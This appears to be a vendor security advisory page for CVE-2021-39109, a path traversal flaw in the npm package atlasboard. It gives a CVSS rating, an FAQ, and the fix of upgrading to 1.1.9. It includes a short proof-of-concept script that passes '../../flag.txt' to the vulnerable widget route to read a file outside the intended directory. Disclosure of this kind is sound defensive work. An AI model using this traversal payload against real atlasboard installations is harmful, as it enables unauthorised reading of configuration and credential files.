CVE-2021-39109

Path traversal in atlasboard

const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2021-39109 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.9); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2021-39109? CVE-2021-39109 is a high-severity path traversal vulnerability in atlasboard (npm), affecting versions < 1.1.9. It is fixed in 1.1.9. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2021-39109? CVE-2021-39109 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of atlasboard are affected by CVE-2021-39109? atlasboard (npm) versions < 1.1.9 is affected.
4. Is there a fix for CVE-2021-39109? Yes. CVE-2021-39109 is fixed in 1.1.9. Upgrade to this version or later.
5. Is CVE-2021-39109 exploitable, and should I be worried? Whether CVE-2021-39109 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2021-39109 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2021-39109? Upgrade atlasboard to 1.1.9 or later.